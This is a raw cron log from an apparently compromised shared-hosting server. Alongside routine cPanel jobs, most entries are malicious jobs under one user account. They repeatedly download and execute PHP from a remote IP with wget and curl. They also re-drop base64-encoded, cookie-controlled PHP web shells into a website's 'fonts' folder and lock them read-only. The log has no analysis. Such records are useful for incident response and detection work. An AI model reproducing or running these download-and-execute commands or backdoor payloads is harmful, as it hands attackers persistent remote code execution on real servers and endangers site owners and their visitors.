Sep  7 17:30:01 ip-184-168-122-23 CROND[5085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:30:01 ip-184-168-122-23 CROND[5086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:30:01 ip-184-168-122-23 CROND[5088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:31:01 ip-184-168-122-23 CROND[5191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:31:02 ip-184-168-122-23 CROND[5193]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:31:02 ip-184-168-122-23 CROND[5192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:31:02 ip-184-168-122-23 CROND[5197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:31:02 ip-184-168-122-23 CROND[5196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:32:01 ip-184-168-122-23 CROND[5280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:32:01 ip-184-168-122-23 CROND[5282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:32:01 ip-184-168-122-23 CROND[5285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:32:01 ip-184-168-122-23 CROND[5284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:32:01 ip-184-168-122-23 CROND[5283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:33:01 ip-184-168-122-23 CROND[5388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:33:01 ip-184-168-122-23 CROND[5387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:33:01 ip-184-168-122-23 CROND[5390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:33:01 ip-184-168-122-23 CROND[5389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:34:01 ip-184-168-122-23 CROND[5467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:34:01 ip-184-168-122-23 CROND[5469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:34:01 ip-184-168-122-23 CROND[5470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:34:01 ip-184-168-122-23 CROND[5468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:34:01 ip-184-168-122-23 CROND[5471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:35:01 ip-184-168-122-23 CROND[5730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:35:01 ip-184-168-122-23 CROND[5732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:35:01 ip-184-168-122-23 CROND[5738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:35:01 ip-184-168-122-23 CROND[5736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:35:01 ip-184-168-122-23 CROND[5737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:35:01 ip-184-168-122-23 CROND[5734]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 17:35:01 ip-184-168-122-23 CROND[5739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:35:01 ip-184-168-122-23 CROND[5733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:36:01 ip-184-168-122-23 CROND[6870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:36:01 ip-184-168-122-23 CROND[6871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:36:01 ip-184-168-122-23 CROND[6872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:36:01 ip-184-168-122-23 CROND[6873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:36:01 ip-184-168-122-23 CROND[6874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:37:01 ip-184-168-122-23 CROND[7831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:37:01 ip-184-168-122-23 CROND[7832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:37:01 ip-184-168-122-23 CROND[7837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:37:01 ip-184-168-122-23 CROND[7838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:38:01 ip-184-168-122-23 CROND[9141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:38:01 ip-184-168-122-23 CROND[9142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:38:01 ip-184-168-122-23 CROND[9139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:38:01 ip-184-168-122-23 CROND[9143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:38:01 ip-184-168-122-23 CROND[9140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:39:01 ip-184-168-122-23 CROND[10920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:39:01 ip-184-168-122-23 CROND[10926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:39:01 ip-184-168-122-23 CROND[10927]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 17:39:01 ip-184-168-122-23 CROND[10930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:39:01 ip-184-168-122-23 CROND[10928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:40:01 ip-184-168-122-23 CROND[12278]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:40:01 ip-184-168-122-23 CROND[12285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:40:01 ip-184-168-122-23 CROND[12283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:40:01 ip-184-168-122-23 CROND[12287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:40:01 ip-184-168-122-23 CROND[12288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:40:01 ip-184-168-122-23 CROND[12286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:40:01 ip-184-168-122-23 CROND[12284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:40:01 ip-184-168-122-23 CROND[12289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:41:01 ip-184-168-122-23 CROND[13774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:41:01 ip-184-168-122-23 CROND[13777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:41:01 ip-184-168-122-23 CROND[13778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:41:01 ip-184-168-122-23 CROND[13776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:42:01 ip-184-168-122-23 CROND[15505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:42:01 ip-184-168-122-23 CROND[15509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:42:01 ip-184-168-122-23 CROND[15507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:42:01 ip-184-168-122-23 CROND[15508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
